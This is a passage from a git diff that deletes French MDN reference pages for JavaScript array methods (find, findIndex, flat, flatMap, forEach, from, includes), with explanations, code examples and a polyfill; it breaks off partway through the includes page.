
- -
-
callback
-
Fonction à exécuter sur chaque valeur du tableau, elle prend 3 arguments : -
-
element
-
L'élément actuellement traité dans le tableau.
-
index{{optional_inline}}
-
L'index de l'élément actuellement traité dans le tableau
-
array{{optional_inline}}
-
Le tableau pour lequel la méthode find a été appelée.
-
-
-
thisArg {{optional_inline}}
-
Ce paramètre est optionnel. Objet à utiliser en tant que this lorsque la fonction callback est exécutée.
-
- -

Valeur de retour

- -

La valeur du premier élément du tableau qui réussit le test, sinon {{jsxref("undefined")}}.

- -

Description

- -

La méthode find exécute la fonction callback une fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle retourne une valeur vraie (qui peut être convertie en true). Si un élément est trouvé, find retourne immédiatement la valeur de l'élément. Autrement, find retourne undefined. La méthode callback est seulement appelée pour les index du tableau pour lesquels on dispose d'une valeur. Elle n'est pas appelée pour les index supprimés ou pour ceux qui n'ont pas de valeur.

- -

La méthode callback est appelée avec trois arguments : la valeur de l'élément, l'index de l'élément, et l'objet correspondant au tableau traversé.

- -

Si le paramètre thisArg est fourni à find, il sera utilisé comme le this pour chaque exécution de la fonction callback. S'il n'est pas fourni, alors {{jsxref("undefined")}} sera utilisé.

- -

find ne modifie pas le tableau à partir duquel elle est appelée.

- -

L'intervalle des éléments inspectés par find est défini avant la première exécution de callback. Les éléments ajoutés au tableau après l'appel à find ne seront pas inspectés par la fonction callback. Si un élément existant est modifié avant le passage du callback, alors la valeur traitée par le callback sera celle présente lors du passage de find sur son index. Les éléments supprimés ne seront pas traités.

- -

Exemples

- -

Trouver un objet dans un tableau grâce à une de ses propriétés

- -
const inventaire = [
-  {nom: 'pommes', quantité: 2},
-  {nom: 'bananes', quantité: 0},
-  {nom: 'cerises', quantité: 5}
-];
-
-function estCerises(fruit) {
-  return fruit.nom === 'cerises';
-}
-
-console.log(inventaire.find(estCerises));
-// { nom: 'cerises', quantité: 5}
- -

Utiliser les fonctions fléchées ES6/ES2015

- -
const inventaire = [
-                     {nom: 'pommes', quantité: 2},
-                     {nom: 'bananes', quantité: 0},
-                     {nom: 'cerises', quantité: 5}
-                   ];
-
-const resultat = inventaire.find( fruit => fruit.nom === 'cerises');
-console.log(resultat);
-// { nom: 'cerises', quantité: 5}
- -

Trouver un nombre premier dans un tableau

- -

Dans l'exemple suivant, on cherche un nombre premier parmi les éléments d'un tableau (ou retourne undefined s'il n'y en a pas ).

- -
function estPremier(element, index, array) {
-    let début = 2;
-    while (début <= Math.sqrt(element)) {
-        if (element % début ++ < 1) return false;
-    }
-    return (element > 1);
-}
-
-console.log( [4, 6, 8, 12].find(estPremier) ); // undefined, rien trouvé
-console.log( [4, 5, 8, 12].find(estPremier) ); // 5
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.find")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.findIndex()")}} – trouver et renvoyer un index
    • -
  • {{jsxref("Array.prototype.includes()")}} – tester si une valeur existe dans le tableau
    • -
  • {{jsxref("Array.prototype.filter()")}} – trouver tous les éléments correspondants
    • -
  • {{jsxref("Array.prototype.every()")}} – tester l'ensemble des éléments d'un tableau
    • -
  • {{jsxref("Array.prototype.some()")}} – tester si au moins un élément du tableau respecte un critère
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html b/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html deleted file mode 100644 index 3d116dfe97..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Array.prototype.findIndex() -slug: Web/JavaScript/Reference/Objets_globaux/Array/findIndex -tags: - - Array - - ECMAScript6 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex ---- -
{{JSRef}}
- -

La méthode findIndex() renvoie l'indice du premier élément du tableau qui satisfait une condition donnée par une fonction. Si la fonction renvoie faux pour tous les éléments du tableau, le résultat vaut -1.

- -
{{EmbedInteractiveExample("pages/js/array-findindex.html")}}
- - - -

Voir également la méthode {{jsxref("Array.find", "find()")}} qui renvoie la valeur (et non l'indice) d'un des éléments trouvés.

- -

Syntaxe

- -
arr.findIndex(callback(element[, index[, tableau]])[, thisArg])
- -

Paramètres

- -
-
callback
-
Une fonction à exécuter sur chaque valeur du tableau jusqu'à ce que celle-ci renvoie true. Cette fonction prend trois arguments : -
-
élément
-
L'élément du tableau qui doit être traité.
-
indice{{optional_inline}}
-
L'indice de l'élément du tableau en cours de traitement.
-
tableau{{optional_inline}}
-
Le tableau sur lequel a été appelé findIndex.
-
-
-
argumentThis{{optional_inline}}
-
L'objet à utiliser comme contexte this lorsque le callback est exécuté.
-
- -

Valeur de retour

- -

Un indice d'un élément du tableau qui réussit le test décrit, -1 sinon.

- -

Description

- -

La méthode findIndex exécute la fonction callback une fois pour chaque élément présent dans le tableau (le tableau est parcouru entre les indices 0 et length-1 compris) jusqu'à ce que callback renvoie une valeur vraie.

- -

S'il existe un tel élément, findIndex renverra immédiatement l'indice de l'élément concerné. Sinon, findIndex renverra -1. À la différence des autres méthodes liées aux tableaux comme some(), callback est également appelée pour les indices du tableau pour lesquels aucun élément n'est défini.

- -

callback possède trois arguments : la valeur de l'élément, l'indice de l'élément et l'objet Array qui est parcouru

- -

Si l'argument argumentThis est fourni à la méthode findIndex, il sera utilisé comme « contexte » this pour chaque appel de callback. S'il n'est pas fourni, {{jsxref("undefined")}} sera utilisé.

- -

findIndex ne modifie pas le tableau sur laquelle elle est appelée. Les éléments qui seront traités par findIndex sont « récoltés » avant le premier appel de callback. Tout élément qui sera ajouté au tableau après l'appel de findIndex ne sera pas utilisé avec callback. Si un élément existant, pas encore visité, est modifié par callback, la valeur qui sera passé au callback pour cet élément modifié sera celle que findIndex utilise lorsqu'elle utilise l'indice de l'élément en question. Les éléments supprimés sont bien parcourus.

- -

Exemples

- -

Trouver l'indice d'un nombre premier dans un tableau

- -

L'exemple qui suit illustre comment trouver l'indice d'un élément qui est un nombre premier dans un tableau (ou qui renvoie -1 s'il n'y a pas de nombre premier).

- -
function estPremier(élément, index, array) {
-  var début = 2;
-  while (début <= Math.sqrt(élément)) {
-    if (élément % début < 1) {
-      return false;
-    } else {
-      début++;
-    }
-  }
-  return élément > 1;
-}
-
-console.log([4, 6, 8, 12].findIndex(estPremier)); // -1, aucun trouvé
-console.log([4, 6, 7, 12].findIndex(estPremier)); // 2
- -

Trouver un indice avec une fonction fléchée

- -

Dans cet exemple, on utilise une fonction fléchée pour trouver l'indice d'un élément :

- -
const fruits = ["pomme", "banane", "melon", "fraise", "raisin"];
-
-const indice = fruits.findIndex(fruit => fruit === "fraise");
-console.log(indice); // 3
-console.log(fruits[indice]); // fraise
- -

Prothèse d'émulation (polyfill)

- -
// https://tc39.github.io/ecma262/#sec-array.prototype.findindex
-if (!Array.prototype.findIndex) {
-  Object.defineProperty(Array.prototype, 'findIndex', {
-    value: function(predicate) {
-     // 1. Let O be ? ToObject(this value).
-      if (this == null) {
-        throw new TypeError('"this" is null or not defined');
-      }
-
-      var o = Object(this);
-
-      // 2. Let len be ? ToLength(? Get(O, "length")).
-      var len = o.length >>> 0;
-
-      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
-      if (typeof predicate !== 'function') {
-        throw new TypeError('predicate must be a function');
-      }
-
-      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
-      var thisArg = arguments[1];
-
-      // 5. Let k be 0.
-      var k = 0;
-
-      // 6. Repeat, while k < len
-      while (k < len) {
-        // a. Let Pk be ! ToString(k).
-        // b. Let kValue be ? Get(O, Pk).
-        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
-        // d. If testResult is true, return k.
-        var kValue = o[k];
-        if (predicate.call(thisArg, kValue, k, o)) {
-          return k;
-        }
-        // e. Increase k by 1.
-        k++;
-      }
-
-      // 7. Return -1.
-      return -1;
-    },
-    configurable: true,
-    writable: true
-  });
-}
- -

S'il est vraiment nécessaire de prendre en charge les moteurs JavaScript qui ne prennent pas en charge {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse aux méthodes d'Array.prototype car on ne peut pas les rendre non-énumérables.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.findIndex")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html b/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html deleted file mode 100644 index 27a0337822..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Array.prototype.flat() -slug: Web/JavaScript/Reference/Objets_globaux/Array/flat -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat ---- -
{{JSRef}}
- -

La méthode flat() permet de créer un nouveau tableau contenant les éléments des sous-tableaux du tableau passé en argument, qui sont concaténés récursivement pour atteindre une profondeur donnée.

- - - - - -

Syntaxe

- -
var nouveauTableau = monTableau.flat([profondeur]);
- -

Paramètres

- -
-
profondeur {{optional_inline}}
-
Le niveau de profondeur en termes d'imbrication de tableau. Autrement dit, jusqu'à quel niveau d'imbrication un tableau imbriqué doit il être aplati. La valeur par défaut est 1.
-
- -

Valeur de retour

- -

Un nouveau tableau qui contient la concaténation des éléments des sous-tableaux du tableau passé en argument.

- -

Exemples

- -

Aplatir des tableaux imbriqués

- -
var arr1 = [1, 2, [3, 4]];
-arr1.flat();
-// [1, 2, 3, 4]
-
-var arr2 = [1, 2, [3, 4, [5, 6]]];
-arr2.flat();
-// [1, 2, 3, 4, [5, 6]]
-
-var arr3 = [1, 2, [3, 4, [5, 6]]];
-arr3.flat(2);
-// [1, 2, 3, 4, 5, 6]
-
- -

Aplatir et combler les trous

- -

La méthode flat() permet également de retirer les « trous » d'un tableau :

- -
var arr4 = [1, 2, , 4, 5];
-arr4.flat();
-// [1, 2, 4, 5]
- -

Équivalent

- -

reduce et concat

- -
var arr = [1, 2, [3, 4]];
-
-// pour un tableau avec un seul niveau de profondeur
-arr.flat();
-// est équivalent à
-arr.reduce((acc, val) => acc.concat(val), []);
-// [1, 2, 3, 4]
-
-// avec la décomposition et les compositions flechées, on peut écrire :
-const flat = arr => [].concat(...arr);
-
- -

reduce + concat + isArray + récursivité

- -
var arr = [1, 2, [3, 4, [5, 6]]];
-
-// Pour gérer plusieurs niveaux, on pourra utiliser
-// une méthode récursive avec reduce et concat
-function flatDeep(arr) {
-   return arr.reduce((acc, val) => acc.concat(Array.isArray(val) ? flatDeep(val) : val), []);
-};
-
-flatDeep(arr);
-// [1, 2, 3, 4, 5, 6]
-
- -

Utiliser une pile

- -
var arr = [1, 2, [3, 4]];
-
-// Version non récursive utilisant une pile
-function flatStack(input) {
-  const stack = [...input];
-  const res = [];
-  while (stack.length) {
-    // On sort une valeur de la pile
-    const next = stack.pop();
-    if (Array.isArray(next)) {
-      // On place les éléments qui sont des tableaux dans
-      // la pile sans modifier l'entrée
-      stack.push(...next);
-    } else {
-      res.push(next);
-    }
-  }
-  // On inverse le résultat pour revenir
-  // à l 'ordre de l'entrée
-  return res.reverse();
-}
-
-flatStack(arr);
-// [1, 2, 3, 4]
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
ECMAScript 2019FinaliséProposition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.flat")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.flatMap()")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html b/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html deleted file mode 100644 index f69e64607c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Array.prototype.flatMap() -slug: Web/JavaScript/Reference/Objets_globaux/Array/flatMap -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap ---- -
{{JSRef}}
- -

La méthode flatMap() permet d'appliquer une fonction à chaque élément du tableau puis d'aplatir le résultat en un tableau. Cela correspond à l'enchaînement de {{jsxref("Array.prototype.map()")}} suivi de {{jsxref("Array.prototype.flat()")}} de profondeur 1. flatMap est plus efficace que la combinaison de ces deux opérations, souvent réalisées conjointement.

- - - - - -

Syntaxe

- -
var new_array = arr.flatMap(function callback(currentValue[, index[, array]]) {
-    // return element for new_array
-}[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction qui produit un élément du nouveau tableau et qui prend trois arguments : -
-
-
currentValue
-
La valeur du tableau qui est traitée.
-
index{{optional_inline}}
-
L'indice de l'élément du tableau qui est traitée.
-
array{{optional_inline}}
-
Le tableau sur lequel flatMap a été appelée.
-
-
-
thisArg{{optional_inline}}
-
La valeur à utiliser comme contexte this lors de l'exécution de callback.
-
- -

Valeur de retour

- -

Un nouveau tableau composé d'éléments résultants de la fonction de rappel (callback) et aplati d'un niveau de profondeur.

- -

Description

- -

Pour la fonction de rappel, voir {{jsxref("Array.prototype.map()")}}. La méthode flatMap() est identique à un appel de {{jsxref("Array.prototype.map()")}} suivi d'un appel de {{jsxref("Array.prototype.flat()")}} avec la profondeur 1.

- -

Exemples

- -

map() et flatMap()

- -
var arr1 = [1, 2, 3, 4];
-
-arr1.map(x => [x * 2]);
-// [[2], [4], [6], [8]]
-
-arr1.flatMap(x => [x * 2]);
-// [2, 4, 6, 8]
-
-// seul un niveau est aplati
-arr1.flatMap(x => [[x * 2]]);
-// [[2], [4], [6], [8]]
-
- -

On peut utiliser un autre exemple où on génère une liste de mots à partir d'une liste de phrases :

- -
let tableau1 = ["Coucou comment", "", "ça va ?"];
-
-tableau1.map(x => x.split(" "));
-// [["Coucou", "comment"], [""], ["ça", "va", "?"]]
-
-tableau1.flatMap(x => x.split(" "));
-// ["Coucou", "comment", "", "ça", "va", "?"]
-
- -

On notera que la longueur de la liste obtenue avec flatMap est différente de la longueur de la liste originale.

- -
//=> [1, 2, 3, 4, 5, 6, 7, 8, 9]
- -

Équivalent

- -

reduce() et concat()

- -
var arr = [1, 2, 3, 4];
-
-arr.flatMap(x => [x, x * 2]);
-// est équivalent à
-arr.reduce((acc, x) => acc.concat([x, x * 2]), []);
-// [1, 2, 2, 4, 3, 6, 4, 8]
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
ECMAScript 2019FinaliséProposition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.flatMap")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.flat()")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html deleted file mode 100644 index d5fe37c438..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: Array.prototype.forEach() -slug: Web/JavaScript/Reference/Objets_globaux/Array/forEach -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach ---- -
{{JSRef}}
- -

La méthode forEach() permet d'exécuter une fonction donnée sur chaque élément du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-foreach.html")}}
- - - -

Syntaxe

- -
arr.forEach(callback);
-arr.forEach(callback, thisArg);
- -

Paramètres

- -
-
callback
-
La fonction à utiliser pour chaque élément du tableau. Elle prend en compte trois arguments : -
-
valeurCourante
-
La valeur de l'élément du tableau en cours de traitement.
-
index {{optional_inline}}
-
L'indice de l'élément du tableau en cours de traitement.
-
array {{optional_inline}}
-
Le tableau sur lequel la méthode forEach est appliquée.
-
-
-
thisArg {{optional_inline}}
-
Paramètre optionnel. La valeur à utiliser pour this lors de l'exécution de callback.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Description

- -

forEach() exécute la fonction callback une fois pour chaque élément du tableau, dans l'ordre croissant des indices. Cette fonction n'est pas appelée pour les indices pour lesquels les éléments ont été supprimés ou qui n'ont pas été définis. Attention, en revanche elle est appelée pour les éléments qui sont présents et qui valent {{jsxref("undefined")}}.

- -

callback est appelé avec trois arguments :

- -
    -
  • la valeur de l'élément
    • -
  • l'index de l'élément
    • -
  • le tableau utilisé
    • -
- -

Si un paramètre thisArg est fourni à la méthode forEach, il sera utilisé en tant que valeur this pour chaque appel de callback. Sinon, ce sera la valeur undefined qui sera utilisée comme valeur this. La valeur this finalement prise en compte par la fonction callback est déterminée selon les règles usuelles pour déterminer la valeur de this utilisée dans une fonction.

- -

L'ensemble des éléments traités par forEach est défini avant le premier appel à callback. Les éléments ajoutés au tableau après que l'appel à forEach ait commencé ne seront pas visités par callback. Si des éléments déjà présents dans le tableau sont modifiés, leur valeur telle qu'elle est passée au callback sera la valeur au moment du passage du forEach ; les éléments supprimés ne sont pas parcourus. Voir l'exemple ci-après.

- -

forEach() exécute la fonction callback une fois pour chaque élément. À la différence de {{jsxref("Array.prototype.map()", "map()")}} ou de {{jsxref("Array.prototype.reduce()", "reduce()")}} il renvoie toujours la valeur {{jsxref("undefined")}} et ne peut donc pas être « enchaîné ». Généralement, l'effet voulu est de déclencher des effets de bord en fin de chaîne.

- -

forEach() ne modifie pas le tableau sur lequel elle est appelée, en revanche, la fonction de retour (callback) utilisée peut modifier le tableau.

- -
Note : - -

Il n'existe aucun moyen d'arrêter une boucle forEach en dehors de lever une exception. Si vous avez besoin d'arrêter la boucle, étudiez plutôt :

- -
    -
  • Une boucle for classique
    • -
  • Une boucle for...in ou for...of
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("Array.prototype.findIndex()")}}
    • -
- -

Les autres méthodes associées aux tableaux ({{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}}) utilisent une fonction de texte qui permet de renvoyer une valeur équivalente à true si besoin de poursuivre la boucle.

-
- -

forEach exécute la fonction callback une fois pour chaque élément ; contrairement à every et some, cette méthode renvoie toujours undefined et ne peut pas être enchaînée.

- -

Exemples

- -

Équivalence entre une boucle for et une boucle forEach

- -

Voici un fragment de code simple qui utilise une boucle for

- -
var items = ["item1", "item2", "item3"];
-var copie = [];
-
-for (var i = 0; i < items.length; i++) {
-  copie.push(items[i]);
-}
-
- -

Et voici un fragment de code équivalent qui utilise forEach :

- -
var items = ["item1", "item2", "item3"]
-var copie = [];
-
-items.forEach(function(item){
-  copie.push(item);
-});
- -

Afficher le contenu d'un tableau

- -
-

Note : Pour afficher le contenu d'un tableau, on pourra utiliser console.table() qui met en forme les éléments du tableau. L'exemple suivant est laissé à titre d'illustration pour forEach().

-
- -

Le code suivant affiche une ligne pour chaque élément du tableau :

- -
function logArrayElements(element, index, array) {
-    console.log("a[" + index + "] = " + element);
-}
-[2, 5, , 9].forEach(logArrayElements);
-// logs:
-// a[0] = 2
-// a[1] = 5
-// a[3] = 9
-
-
- -

Utiliser l'argument pour this

- -

Dans l'exemple qui suit, on met à jour les propriétés d'un objet à partir des éléments d'un tableau :

- -
function Compteur() {
-  this.somme = 0;
-  this.compte = 0;
-}
-
-Compteur.prototype.ajouter = function(tableau) {
-  tableau.forEach(function(element) {
-    this.somme += element;
-    ++this.compte;
-  },  this);
-  //  ^---- On a ajouté l'argument this ici.
-};
-
-var obj = new Compteur();
-obj.ajouter([2, 5, 9]);
-console.log(obj.compte); // 3
-console.log(obj.somme);  // 16
-
- -
-

Note : Le paramètre pour this est passé à la méthode forEach(), à chaque appel du callback, celui-ci sera utilisé comme valeur pour this.

-
- -
-

Note : Si la fonction passée en argument est une fonction fléchée, il n'est pas nécessaire d'ajouter le paramètre this car les fonctions fléchées utilisent le this fourni par le contexte lexical.

-
- -

Stopper une boucle

- -

Le code qui suit utilise la méthode {{jsxref("Array.prototype.every")}} pour afficher le contenu d'un tableau et s'arrêter lorsqu'il atteint une valeur supérieure à SEUIL_MAX.

- -
var SEUIL_MAX = 12;
-var v = [5, 2, 16, 4, 3, 18, 20];
-var res;
-
-res = v.every(function(element, index, array) {
-  console.log('élément :', element);
-  if (element >= SEUIL_MAX) {
-    return false;
-  }
-
-  return true;
-});
-console.log('res:', res);
-// affiche :
-// élément : 5
-// élément : 2
-// élément : 16
-// res : false
-
-res = v.some(function(element, index, array) {
-  console.log('élément:', element);
-  if (element >= SEUIL_MAX) {
-    return true;
-  }
-
-  return false;
-});
-console.log('res:', res);
-// affiche :
-// élément : 5
-// élément : 2
-// élément : 16
-// res: true
- -

Une fonction de copie d'objet

- -

Le code qui suit permet de créer une copie d'un objet donné. Il existe différentes façons pour créer une copie d'un objet. L'exemple suivant illustre une de ces façons afin d'expliquer le fonctionnement d'Array.prototype.forEach et d'utiliser les fonctions ECMAScript 5 Object.*.

- -
function copie(obj) {
-  var copie = Object.create(Object.getPrototypeOf(obj));
-  var propNames = Object.getOwnPropertyNames(obj);
-
-  propNames.forEach(function(nom) {
-    var desc = Object.getOwnPropertyDescriptor(obj, nom);
-    Object.defineProperty(copie, nom, desc);
-  });
-
-  return copie;
-}
-
-var obj1 = { a: 1, b: 2 };
-var obj2 = copie(obj1); // obj2 ressemble désormais à obj1
- -

Attention aux modifications en cours

- -

Dans l'exemple qui suit, on utilise un tableau qui contient quatre élément : "un", "deux", "trois", "quatre". Lorsque le parcours du tableau arrive à l'élément "deux", on décale le tableau d'un cran vers les premiers éléments. Aussi, l'élément "quatre" est décalé à la place de "trois" et "trois" est déplacé à la place de "deux". Pour cette raison, lorsque forEach poursuit son parcours, elle saute la valeur "trois". Autrement dit, forEach n'utilise pas une copie du tableau au moment où elle est appelée, elle manipule le tableau directement. On voit aussi dans cet exemple que les éléments non initialisés ne sont pas traités par la fonction de rappel.

- -
var mots = ["un", "deux", "trois",, "quatre"];
-mots.forEach(function(mot) {
-  console.log(mot);
-  if (mot === "deux") {
-    mots.shift();
-  }
-});
-// un
-// deux
-// quatre
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.forEach")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.filter()")}}
    • -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("Array.prototype.findIndex()")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • {{jsxref("Map.prototype.forEach()")}}
    • -
  • {{jsxref("Set.prototype.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/from/index.html b/files/fr/web/javascript/reference/objets_globaux/array/from/index.html deleted file mode 100644 index 61e8b828cb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/from/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Array.from() -slug: Web/JavaScript/Reference/Objets_globaux/Array/from -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/from ---- -
{{JSRef}}
- -

La méthode Array.from() permet de créer une nouvelle instance d'Array (une copie superficielle) à partir d'un objet itérable ou semblable à un tableau.

- -
{{EmbedInteractiveExample("pages/js/array-from.html")}}
- - - -

Syntaxe

- -
Array.from(arrayLike [, fonctionMap[, thisArg]])
- -

Paramètres

- -
-
arrayLike
-
Un objet semblable à un tableau ou bien un objet itérable dont on souhaite créer un tableau, instance d'Array.
-
fonctionMap {{optional_inline}}
-
Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.
-
thisArg {{optional_inline}}
-
Argument optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction fonctionMap.
-
- -

Valeur de retour

- -

Une nouvelle instance de {{jsxref("Array")}}.

- -

Description

- -

Array.from() permet de créer des instances d'Array à partir :

- -
    -
  • d'objets semblables à des tableaux (qui disposent d'une propriété length et d'éléments indexés) ou
    • -
  • d'objets itérables (des objets dont on peut avoir les éléments comme {{jsxref("Map")}} et {{jsxref("Set")}}).
    • -
- -

Array.from() possède un paramètre optionnel fonctionMap, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau (ou de l'instance de la classe fille) qui est créé. Autrement dit Array.from(obj, mapFn, thisArg) correspond exactement à Array.from(obj).map(mapFn, thisArg), sauf qu'il n'y a pas de tableau intermédiaire de créé. Cet aspect est notamment important pour certaines classes filles, comme les tableaux typés (en effet, un tableau intermédiaire aurait eu ses valeurs tronquées pour qu'elles soient du type approprié).

- -

La propriété length de la méthode from() est 1.

- -

Avec ES6, la syntaxe de classe permet d'avoir des sous-classes pour les objets natifs comme pour les objets définis par l'utilisateur. Ainsi, les méthodes statiques de classe comme Array.from() sont héritées par les sous-classes d'Array et créent de nouvelles instances de la sous-classe d'Array.

- -

Exemples

- -
// créer une instance d'Array à partir de l'objet arguments qui est semblable à un tableau
-function f() {
-  return Array.from(arguments);
-}
-
-f(1, 2, 3);
-// [1, 2, 3]
-
-
-// Ça fonctionne avec tous les objets itérables...
-// Set
-const s = new Set(["toto", "truc", "truc", "bidule"]);
-Array.from(s);
-// ["toto", "truc", "bidule"]
-
-
-// Map
-const m = new Map([[1, 2], [2, 4], [4, 8]]);
-Array.from(m);
-// [[1, 2], [2, 4], [4, 8]]
-
-const mapper = new Map([["1", "a"], ["2", "b"]]);
-Array.from(mapper.values());
-// ["a", "b"]
-
-Array.from(mapper.keys());
-// ["1", "2"]
-
-// String
-Array.from("toto");
-// ["t", "o", "t", "o"]
-
-
-// En utilisant une fonction fléchée pour remplacer map
-// et manipuler des éléments
-Array.from([1, 2, 3], x => x + x);
-// [2, 4, 6]
-
-
-// Pour générer une séquence de nombres
-Array.from({length: 5}, (v, k) => k);
-// [0, 1, 2, 3, 4]
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.from")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
  • {{jsxref("TypedArray.from()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html deleted file mode 100644 index 8567f02fbf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Array.prototype.includes() -slug: Web/JavaScript/Reference/Objets_globaux/Array/includes -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes ---- -
{{JSRef}}
- -

La méthode includes() permet de déterminer si un tableau contient une valeur et renvoie true si c'est le cas, false sinon.

- -
{{EmbedInteractiveExample("pages/js/array-includes.html")}}
- - - -
-

Note : Cette méthode utilise l'algorithme de comparaison SameValueZero qui fonctionne comme l'égalité stricte, à la différence que NaN est ici égal à lui même.

-
- -

Syntaxe

- -
array.includes(élémentRecherché)
-array.includes(élémentRecherché, indiceDépart)
-
- -

Paramètres

- -
-
élémentRecherché
-
La valeur qu'on souhaite trouver dans le tableau (lorsqu'on manipule des caractères et des chaînes, la comparaison est sensible à la casse).
-
indiceDépart {{optional_inline}}
-
La position du tableau à partir de laquelle commencer à chercher élémentRecherché. Si on utilise une valeur négative, la recherche commencera à partir de la fin du tableau (autrement dit à l'indice array.length - indiceDépart). La valeur par défaut est 0.
-
- -

Valeur de retour

- -

